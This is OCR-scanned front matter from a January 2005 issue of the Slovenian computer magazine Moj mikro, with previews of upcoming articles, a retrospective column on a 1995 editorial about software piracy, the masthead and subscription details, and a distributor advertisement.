FEBRUAR 2005

OBOGATENI SPLETNI OGLASI

Vse veC spletnih oglasevalskih akcij v Sloveniji temelji na gradnji blagovnih znamk in uporabi obogatenih
spletnih oglasov. Vecje oglasne povrSine ter moznost uporabe multimedijskih in interaktivnih dodatkov dajejo
izdelovalcem naprednih spletnih oglasov veliko kreativne svobode, kar najveckrat prinese vecjo atraktivnost
oglasov in s tem v veCjo odzivnosti uporabnikov, ki jo merimo s stopnjo klikov na oglase.

OMREZNO DISKOVJE

Velika podjetja, ki za shranjevanje podatkov
v omreZju potrebujejo veliko diskovnega
prostora, Ze nekaj Casa posegajo po resitvi
NAS - Network Attached Storage. Pri

tem gre za nekakSen omrezni disk, ki za
delovanje ne potrebuje racunalnika, saj

ga je treba le prikljuciti v omreZje. Nekaj
podobnega potrebujejo tudi mala podjetja

in domaci uporabniki. Ogledali si bomo, kaj
ponuja slovenski trg na tem podrocju, kako
uporabne so te omreZne hranilne naprave in
koliko je zanje treba odsteti.

@ Se dobro, da je v tej Stevilki 1, let-
nika 11 jubilejno zastavljen uvodnik,
kajti vsebina za dana3nje ¢ase ni kdo ve
kako zanimiva. Povejmo Se to, da je bilo
za prvo $tevilko novega letnika treba od-
Steti 380 SIT in Moj mikro se potem vse
do konca leta 1995 ni podraZil. Zdaj pa k
uvodniku...

Napisal ga je Gojko Jovanovig, ki se je
predstavil s podpisom “Preutrujeni honorarec”. Uvodnik pa
je naslovil “Dober dan, postenje!”

Aha, pisca je gotovo nekaj mudilo! Za¢nimo brati, da bi
odkrili te muke izpred desetih let... Neverjetno! Preutrujeni
honorarec se je potozil ¢ez “Slovenijo, naSe skupno podjetje,
kjer se kraja softvera in druge intelektualne lastnine sploh
ne preganja...” Nasprotno, “A-Softi, B-Softi, C-Softi v tiso-
&erih oglasih ponujajo svoje lopovske storitve”. In zgroZeni
uvodnicar doda: “Grozljivost taksnega stanja ni v tem, da
nekateri kradejo in so drugi okradeni. Strah nas mora biti
tega, da pri nas nekaterih kriminalnih dejanj kazensko ne
preganjamo. Zakaj si ne bi jutri podobnih pravnih nebes za-
sluzili, denimo, vlomilci, posiljevalci, morilci?”

Potem se je Gojko Jovanovi¢ spomnil, kako jih je pred
dobrim desetletjem po radijskih valovih tolaZil Tomaz Do-
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SLOVO OD VHS-a”?

V nasih dnevnih sobah se dogaja pravcata mala revolucija.
Hisni kino z nepogresljivim DVD-predvajalnikom je iz prestiznega

objekta poZelenja postal dostopen skorajda vsakomur.

DVD-predvajalniki za dobrih deset tisoCakov in prostorski

zvok za enako ceno pocasi, a zanesljivo izrinjajo dobre

stare videorekorderje s polic nad TV-sprejemniki. Toda ali je
tehnologija VHS res Ze zrela za odpad? Je priSel ¢as, ko bomo
VHS-enote zaeli mnoziéno metati iz nasih dnevnih sob? Ce
mislite, da je, vam bomo pomagali s tem, da si bomo za vas
ogledali postopke, kako prenesti videokasete na DVD, kako

to narediti in s katerimi napravami. Ogledali si bomo DVD-
videorekorderje, kartice za zajem video signala iz VHS-naprave,

orodja za izdelavo DVD-jev in Se kaj.

micelj, ki je prepeval Saj po novem letu boljse bo. Tudi leta
1994, torej pred desetimi leti, je mlada slovenska oblast
obetala, da bo novi kazenski zakonik Ze po 1. januarju 1995
povsem drugade ukrepal “zoper nepridiprave, ki se bodo spo-
zabili nad tujo duhovno lastnino”, javni to¥ilec pa bo moral
“po sluzbeni dol#nosti preganjati tudi softverske pirate”.
Pisec uvodnika seveda ni bil tako naiven, da bi verjel spevu
Toma?a Domicelja in pregonu javnega tozilca. “Crvi¢ek dvoma
gloda naprej”, je pravilno napovedal. Gotovo pa Se v sanjah
ni predvideval lumparij, ki jih je prineslo naslednjih deset let:
banko SIB, Orion, Dadas, Crni les itd. itd. Pa& pa so leta od-
nesla softver, predstavljen v tej prvi Stevilki novega desetletja:
OS/2(v3)Warp, LINUX (3), Borland Paradox for Windows 5.0,
WordPerfect — Grammatic 5.0, 3D Interior Designer itd. itd.
@ Da vse le ne bo samo &rno, naj omenimo dolgo Zelen
vir, na katerega je opozoril Moj mikro v tej 3tevilki. Pred-
stavili so ga (upravi¢eno) takole: Kar je don perignon med
Sampanjci, Hilton med hoteli ali rolls-royce med avtomobili, to je
Encyclopaedia Britannica med enciklopedijami. Ta 225 let star
biser se je namre¢ pojavil na internetu, in sicer v obliki za-
dnje, 15. izdaje, ki je v klasi¢ni obliki obsegala 32 knjig. In
urednistvo je predstavitev poZivilo z objavo poenostavljene-
ga zemljevida deZele, segajoce od Kopra do Murske Sobote.
Vilko Novak Cip¢i
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izhaja vsak prvi torek v mesecu
letnik 21,
Stevilka 1, januar 2005

IZDAJA:

DELO REVIJE, d. d.
Dunajska 5, 1509 Ljubljana
www.delo-revije.si
DIREKTOR: Andrej Lesjak

UREDNISTVO:

Dunajska 5, 1509 Ljubljana

tel.. (01) 473 82 61

faks: (01) 473 8169, 4738109
e-posta: mojmikro@delo-revije.si

GLAVNI UREDNIK: Marjan Kodelja
ODGOVORNI UREDNIK: Zoran Banovi¢
POMOCNIKA GLAVNEGA UREDNIKA:
Zlatko Mati¢ in Milan Sim¢i¢
UREDNIK: Jaka Mele

UREDNIK FOTOGRAFIJE:

Alan Orli¢ BelSak

LIKOUNA ZASNOVA: Andrej Mavsar
TEHNICNI UREDNIK: Andrej Mavsar
REDAKTOR:

Slobodan Vujanovié

OGLASNO TRZENJE:

DELO REVIJE, d. d.

Marketing

Dunajska 5, 1509 Ljubljana

tel. (01) 47381 11

faks: (01) 473 8129

e-posta: marketing@delo-revije.si

KOLPORTAZA:

DELO REVIJE, d. d.
Marketing

Dunajska 5, 1509 Ljubljana
tel.: (01) 4738120

faks: (01) 473 82 53

NAROCNINE:

DELO REVIJE, d. d.

Marketing

Dunajska 5, 1509 Ljubljana

tel.. (01) 473 8123,473 8124
faks: (01) 473 82 53

e-posta: narocnine@delo-revije.si

Posamezni izvod stane 980 SIT.

Narocniki imajo posebne
ugodnosti. NaroCite se lahko
pisno (klasicna in elektronska
posta) ali telefonsko. Revijo
boste zaceli prejemati po prvem
placilu od tekoce Stevilke naprej.
Narocnina velja do vasega
preklica.

Narocnina za tujino se poravnava
za eno leto vnaprej in znasa:

70 EUR, 127 USD, 167 AUD.

Za vse informacije v zvezi

z naro¢anjem edicije smo

na voljo na zgoraj navedenih
telefonskih Stevilkah ali
elektronski posti.

NenaroCenih besedil in fotografij
ne vra¢amo.

DIGITALNA OBDELAVA FOTOGRAFIJ
IN OSVETLJEVANJE:

Delo Repro, d. 0. 0.

Dunajska 5, Ljubljana

TISK: Delo Tiskarna, d. d.
Dunajska 5, Ljubljana

december 2004
natisnjeno

v 8 500 izvodih. _5%:
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Uvoznik in distributer za Slovenijo: Vsem nasim kupcem se zahvaljujemo za izkazano
MIKROPIS Holding zaupanje in jim Zelimo vse najboljse v letu 2005!

Atkerfeva 4a, 3310 Zalec EMG, Celovika 136, 1000 Ljubljana i
tel: 03f 712 15 00: fax: 03/ 7121566 tel: 01/ 500 74 20; fax: 01/ 500 74 25 A@f&;

Vzi izdelki 2o na volje tudi v nadi spletni trgovini: www.mikropis.si
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